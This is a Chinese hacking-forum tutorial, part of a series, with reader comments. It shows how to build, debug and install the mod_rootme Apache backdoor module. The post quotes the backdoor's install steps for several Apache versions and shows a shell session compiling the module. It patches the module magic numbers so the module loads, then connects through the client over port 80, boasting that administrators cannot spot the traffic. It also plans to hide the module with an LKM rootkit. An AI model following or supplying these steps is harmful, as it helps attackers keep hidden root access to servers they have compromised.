那些年系列 0x02---基于端口复用的apache后门的调试与使用
【*】作者:小飞
【*】QQ 5119187
此为系列教材,分为三个部分
0x01---后门隐藏技术的攻与防
0x02---基于端口复用的apache模块后门 mod_rootme的调试与使用
0x03---LKM rootkit的编译与使用
-----------------------------------------------
0x02---基于端口复用的apache模块后门 mod_rootme的调试与使用
这是一个apache的模块化后门,mod_rootme
以pipe的方式获得shell,支持tty
确定是有个so文件 进程 不能隐藏
不过咱们有LKM rootkit
首先我们来看看后门作者的README
反正每个软件的readme我都是好好读的!
-=[ Target: Apache 1.3.x (Debian) ]=-
# make <system>
# cp mod_rootme.so /usr/lib/apache/1.3/
# vi /etc/apache/httpd.conf (or modules.conf)
[...]
LoadModule rootme_module /usr/lib/apache/1.3/mod_rootme.so
# apachectl restart
-=[ Target: Apache 1.3.x (local ) ]=-
# make <system>
# cp mod_rootme.so /usr/local/apache/libexec/
# vi /usr/local/apache/conf/httpd.conf
[...]
LoadModule rootme_module libexec/mod_rootme.so
[...]
AddModule mod_rootme.c
# /usr/local/apache/bin/apachectl restart
-=[ Target: Apache 2.0.x (Debian) ]=-
# make <system>
# cp mod_rootme2.so /usr/lib/apache2/modules/
# cat > /etc/apache2/mods-enabled/rootme2.load
LoadModule rootme2_module /usr/lib/apache2/modules/mod_rootme2.so
^D
# apache2ctl stop; apache2ctl start
-=[ Target: Apache 2.0.x (local ) ]=-
# make <system>
# cp mod_rootme2.so /usr/local/apache2/modules/
# vi /usr/local/apache2/conf/httpd.conf
[...]
LoadModule rootme2_module modules/mod_rootme2.so
# PATH=/usr/local/apache2/bin:$PATH; export PATH
# apachectl stop; apachectl start
-=[ Target: Apache 2.2.x (Debian) ]=-
# make <system>
# cp mod_rootme22.so /usr/lib/apache2/modules/
# cat > /etc/apache2/mods-enabled/rootme22.load
LoadModule rootme2_module /usr/lib/apache2/modules/mod_rootme22.so
^D
# apache2ctl stop; apache2ctl start
-=[ Target: Apache 2.2.x (local ) ]=-
# make <system>
# cp mod_rootme22.so /usr/local/apache2/modules/
# vi /usr/local/apache2/conf/httpd.conf
[...]
LoadModule rootme2_module modules/mod_rootme22.so
# PATH=/usr/local/apache2/bin:$PATH; export PATH
# apachectl stop; apachectl start
看看httpd的目录
root@maf!x:/var/opt$ find / -name httpd.conf
/data/httpd.conf
/etc/httpd/conf/httpd.conf
恩既然是2.2.3的
就按照上面的来吧
root@maf!x:/tmp$ ls
2.6.18-164 red yoco_bc
mod_rootme-0.4.tar.gz suterusu.tar.gz yoco_bc.c
nc uscreens
root@maf!x:/tmp$ tar zxf mod_rootme-0.4.tar.gz
root@maf!x:/tmp$ cd mod_rootme-0.4
root@maf!x:/tmp/mod_rootme-0.4$ ls
Makefile client.exe httpd22.h mod_rootme22.c
Makefile32 httpd13.h mod_rootme.c mrm_client.c
README.txt httpd20.h mod_rootme2.c mrm_server.h
root@maf!x:/tmp/mod_rootme-0.4$ make linux
gcc -s -fPIC -shared mod_rootme.c -o mod_rootme.so -lutil -DLINUX
gcc -s -fPIC -shared mod_rootme2.c -o mod_rootme2.so -lutil -DLINUX
gcc -s -fPIC -shared mod_rootme22.c -o mod_rootme22.so -lutil -DLINUX
gcc -s mrm_client.c -o client
root@maf!x:/etc/httpd/conf$ cp httpd.conf httpd.conf.bak
root@maf!x:/etc/httpd/conf$ vi httpd.conf
添加LoadModule rootme22_module modules/mod_rootme22.so
然后保存 重启httpd服务
谁知道,报错了- -
root@maf!x:/tmp/mod_rootme-0.4$ service httpd restart
Í£Ö¹ httpd£º [È·¶¨]
Æô¶¯ httpd£ºhttpd: Syntax error on line 200 of /etc/httpd/conf/httpd.conf: API module structure `rootme22_module' in file /etc/httpd/modules/mod_rootme22.so is garbled - perhaps this is not an Apache module DSO?
于是到处找文章
发现某群黑阔博客上面也有一篇介绍这个软件的文章
看半天没看懂。。。(是我太笨吧)
不过下面他引用的文档我看了下
终于懂了 文章如下
http://www.nowamagic.net/librarys/veda/detail/1293
就是magic字段错了
于是我们在找到mod22的那个配置文件
http22.h
看下里面的声明
#define MODULE_MAGIC_NUMBER_MAJOR 20020903
#define MODULE_MAGIC_NUMBER_MINOR 7
#define MODULE_MAGIC_COOKIE 0x41503230UL
#define MODULE_MAGIC_COOKIE 0x41503232UL
看到后激动啊
速度改掉httpd22.h
然后重新make cp
再重启服务
service httpd restart
你妹。。还是报错
不过报错内容不一样了
ok这次我看懂了
又是改参数
改完了应该是这样的
#define MODULE_MAGIC_NUMBER_MAJOR 20051115
#define MODULE_MAGIC_NUMBER_MINOR 7
#define MODULE_MAGIC_COOKIE 0x41503232UL
终于没报错了!!!
然后 用另一台服务器
利用里面的client连接
ok成功连上
通信都在80端口
管理你无力了吧
文章有关附件
mod_rootme【原版】
-------------------------------------------------------------------------
文章难免会有错误,希望给位积极指出,进行讨论
同时 刚刚接触linux内核的我还有几个问题有待解决
希望有时间的大牛能参与文章的编写和完善
帮解决下有关lkm rootkit几个问题面的声明
---------------------本人上学去了 最后一篇文章可能晚点
评论31次
找个root权限的试一试
小菜我对代码真的很头疼,但是还要继续学xi,谢谢分享。
谢谢分享................
谢谢分享................
没理解
不错不错,不过这个要修改配置
好东东 先收藏
nginx呢。。。
亮点是 武汉六中 中学生。。。
感谢分享哈
APACHE 自己复用自己么。。。。
权限继承了,也复用了apache的端口,复用了apache 80端口的会话。这有什么可纠结的。而且这个代码获得root权限的思路也非常巧妙
学xi
- -!看到最后发现楼主居然是学生。。。让我这刚毕业的情何以堪。。。
- -!想接触下linux rootkit,谢谢楼主文章
学xi了。
呃。那获得的SHELL是交互的么?如果是交互的那也无所谓了。直接su就行了。。
额,你是? 你怎么知道?
楼主上学去了
我倒是还有个版本,不用改mod